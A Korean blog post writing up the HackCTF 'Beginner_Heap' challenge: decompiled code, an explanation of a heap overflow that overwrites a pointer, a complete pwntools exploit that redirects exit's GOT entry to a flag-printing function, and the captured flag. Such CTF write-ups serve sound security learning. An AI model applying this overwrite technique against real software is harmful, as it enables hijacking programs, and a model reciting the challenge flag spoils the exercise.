ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Beginner_Heap
    CTF/HackCTF 2021. 2. 9. 00:30

    Disassembly 디스어셈블리


    void main(undefined8 argc, char **argv)
    {
        undefined4 *puVar1;
        undefined8 uVar2;
        undefined4 *puVar3;
        char *src;
    
        puVar1 = (undefined4 *)malloc(0x10);
        *puVar1 = 1;
        uVar2 = malloc(8);
        *(undefined8 *)(puVar1 + 2) = uVar2;
        puVar3 = (undefined4 *)malloc(0x10);
        *puVar3 = 2;
        uVar2 = malloc(8);
        *(undefined8 *)(puVar3 + 2) = uVar2;
        fgets(&src, 0x1000, _reloc.stdin);
        strcpy(*(undefined8 *)(puVar1 + 2), &src);
        fgets(&src, 0x1000, _reloc.stdin);
        strcpy(*(undefined8 *)(puVar3 + 2), &src);
        exit(0);
    }

    main은 할당된 힙에 fgets로 입력을 두 번 받는다.

     

    Buffer Overflow


    AAAA를 두 번 입력한 결과는 다음과 같다. 힙 청크의 최소 크기인 0x20단위로 네 개의 힙이 할당되어 있고, 입력한 "AAAA\n"이 0x6022c0과 0x602300에 들어있다. fgets로 최대 0x1000바이트만큼 입력받으므로 두 번째 입력받을 주소인 *(puvar3 + 2)를 덮을 수 있다.

     

    바이너리에 flag를 출력하는 함수가 있으므로 exit의 got를 위 주소로 덮으면 문제를 해결할 수 있다.

     

    Code

    더보기
    from pwn import *
    
    binary = "./beginner_heap.bin"
    server = "ctf.j0n9hyun.xyz"
    port = 3016
    
    context.log_level = 'debug'
    context.binary = binary
    
    if True:
    	p = remote(server, port)
    else:
    	p = gdb.debug([binary], gdbscript = 'set debug-file-directory ./x86_64-linux-gnu')
    
    e = ELF(binary)
    
    e.checksec()
    
    flag = 0x40083d
    exit_got = e.got["exit"]
    
    def overwrite(dest, src):
    	payload = b"\x90"*0x28
    	payload += p64(dest)
    	p.sendline(payload)
    	payload = p64(src)
    	p.sendline(payload)
    
    overwrite(exit_got, flag)
    
    p.interactive()
    

    Flag

    HackCTF{4r3_y0u_r34dy_w3lc0m3_70_h34p_53k41}

    'CTF > HackCTF' 카테고리의 다른 글

    World Best Encryption Tool  (0) 2021.02.09
    UAF  (0) 2021.02.09
    j0n9hyun's secret  (0) 2021.02.07
    SysROP  (0) 2021.02.05
    Pwning  (0) 2021.02.05

    댓글

Designed by Tistory.